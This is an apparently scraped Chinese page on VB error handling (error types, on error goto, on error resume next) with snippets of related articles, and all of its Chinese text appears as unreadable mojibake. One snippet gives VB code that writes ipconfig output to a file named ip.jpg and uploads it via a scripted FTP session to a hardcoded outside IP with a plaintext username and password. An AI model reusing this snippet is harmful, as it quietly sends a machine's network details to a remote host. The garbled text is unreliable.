vb±ê×¼£¨ËÄ£©£º´íÎó´¦Àí
·´íÎóÀàÐÍ
·±à³ÌÔ±µÄ´íÎ󣨱ÈÈç·Öĸ²»ÄÜÊÇ0£¬²ÎÊý¸öÊý»òÊý¾ÝÀàÐͲ»¶ÔÓ¦£©
·»·¾³·½ÃæµÄ´íÎ󣨱ÈÈçÎļþÌ«´ó£¬´ÅÅ̷Ų»Ï£©
·Ê±¼äÉϵĴíÎ󣨱ÈÈçÊÓͼ¸øÉÐδÍê³É¼ÓÔØµÄ´°ÌåÉèÖý¹µã£©
·´´½¨´íÎó´¦Àí³ÌÐò
·ÇëÇóʱ±àÒë
·ºǫ́±àÒë
·²¶»ñ´íÎó
·×îºÃÔÚ´úÂëÖзÅÈëÒ»¸öon errorÓï¾ä
·µ±³öÏÖ´íÎóʱ£¬Ê¹ÓÃon error goto£¬×ªÒƵ½±ðµÄ´úÂëÉÏÈ¥Ö´ÐÐ
·Ê¹ÓÃon error resume nextÓï¾ä£¬²»ÖжϴúÂëµÄÖ´ÐУ¬Ò²²»×ªÒƵ½±ðµÄ´úÂëÉÏÈ¥Ö´ÐУ¬¶øÊǺöÂԸôíÎó(×î¼òµ¥Ò²×îΣÏÕ)
Ïà¹ØÎĵµ£º
¡¡¡¡SQLDMO£¨SQL Distributed Management Objects£¬SQL·Ö²¼Ê½¹ÜÀí¶ÔÏ󣩷â×° Microsoft SQL Server 2000 Êý¾Ý¿âÖеĶÔÏó¡£SQL-DMO ÔÊÐíÓÃÖ§³Ö×Ô¶¯»¯»ò COM µÄÓïÑÔ±àдӦÓóÌÐò£¬ÒÔ¹ÜÀí SQL Server °²×°µÄËùÓв¿·Ö¡£ SQL-DMO ÊÇ SQL Server 2000 ÖÐµÄ SQL Server ÆóÒµ¹ÜÀíÆ÷ËùʹÓõÄÓ¦ÓóÌÐò½Ó¿Ú (API);Òò´ËʹÓà SQL-DMO µÄÓ ......
×î½ü¸Õѧ»áÔÚVB2008 ÖÐʹÓòÎÊý»¯SQLÓï¾ä£¬ÓÚÊÇÂíÉÏÓõ½´úÂëÖУ¬È´Åöµ½²é²»µ½ÈκÎÊý¾ÝµÄÇé¿ö£¬¾À½áÁ˺ü¸Ì죬»¹ÊÇûÓиãÃ÷°×£¬²îµãÍÂѪ¡£²»µÃÒÑ»¹ÊÇÏÈÔÚ´úÂëÖÐʹÓÃ×Ö·û´®Æ´½ÓµÄSQLÓï¾ä¡£
°üº¬²ÎÊý»¯SQLÓï¾äµÄ´úÂëÈçÏ£º
Dim cmSl As N ......
ftp.txtÎļþÄÚÈÝΪ£º
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VBÄÚÈÝΪ£º
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
Public Function IsValidIPAddress(ByVal strIPAddress As String) As Boolean
On Error GoTo Handler
Dim varAddress As Variant, n As Long, lCount As Long
varAddress = Split(strIPAddress, ".", , vbTextCompare)
If IsArray(varAd ......